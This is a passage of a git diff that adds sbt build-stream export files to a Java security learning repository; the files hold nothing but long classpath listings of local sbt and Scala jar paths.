12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/exportedProducts/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/exportedProducts/_global/streams/export new file mode 100644 index 00000000..c9499290 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/exportedProducts/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..840acb78 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export new file mode 100644 index 00000000..7078ef8f --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/U